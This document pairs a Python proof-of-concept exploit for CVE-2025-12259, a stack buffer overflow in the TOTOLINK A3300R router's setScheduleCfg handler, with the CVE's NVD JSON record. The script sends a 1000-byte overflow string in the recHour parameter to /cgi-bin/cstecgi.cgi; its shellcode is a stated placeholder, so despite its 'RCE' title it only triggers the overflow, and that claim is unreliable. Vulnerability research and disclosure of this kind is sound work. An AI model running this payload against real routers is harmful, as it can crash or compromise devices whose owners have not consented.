CVE-2025-12259

#!/usr/bin/env python3 """ CVE-2025-12259 PoC - TOTOLINK A3300R setScheduleCfg Buffer Overflow RCE Note: This PoC is for educational and security research purposes only. """ import requests import sys TARGET = "http://{target_ip}" # Replace with router IP CGI_PATH = "/cgi-bin/cstecgi.cgi" def build_payload(): """Build malicious payload for stack buffer overflow""" # NOP sled + shellcode for MIPS architecture # This is a placeholder - actual shellcode would need to be crafted for the specific firmware padding = b"A" * 1000 # Overflow padding return padding def exploit(target_ip): """Exploit the buffer overflow vulnerability""" url = f"http://{target_ip}{CGI_PATH}" # Build the malicious POST request payload = build_payload() # The vulnerable parameter is 'recHour' in the POST data data = { "topicurl": "setScheduleCfg", "recHour": payload.decode('latin-1') # Send overflow payload } headers = { "Content-Type": "application/x-www-form-urlencoded" } print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(payload)}") try: response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[*] Response status: {response.status_code}") if response.status_code == 200: print("[+] Exploit sent successfully") else: print("[-] Unexpected response") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) exploit(sys.argv[1])

{"cve": {"id": "CVE-2025-12259", "sourceIdentifier": "[email protected]", "published": "2025-10-27T10:15:38.610", "lastModified": "2025-10-28T02:10:25.910", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in TOTOLINK A3300R 17.0.0cu.557_B20221024. The affected element is the function setScheduleCfg of the file /cgi-bin/cstecgi.cgi of the component POST Parameter Handler. This manipulation of the argument recHour causes stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been published and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:a3300r_firmware:17.0.0cu.557_b20221024:*:*:*:*:*:*:*", "matchCriteriaId": "DD39B647-3419-4C6D-A6A2-30F40822A27D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:a3300r:-:*:*:*:*:*:*:*", "matchCriteriaId": "7F723A73-4B32-4F9E-B5DA-80134D4711C1"}]}]}], "references": [{"url": "https://github.com/noahze01/IoT-vulnerable/blob/main/TOTOLink/A3300R/setScheduleCfg.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.329930", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.329930", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.673726", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.totolink.net/", "source": "[email protected]", "tags": ["Product"]}]}}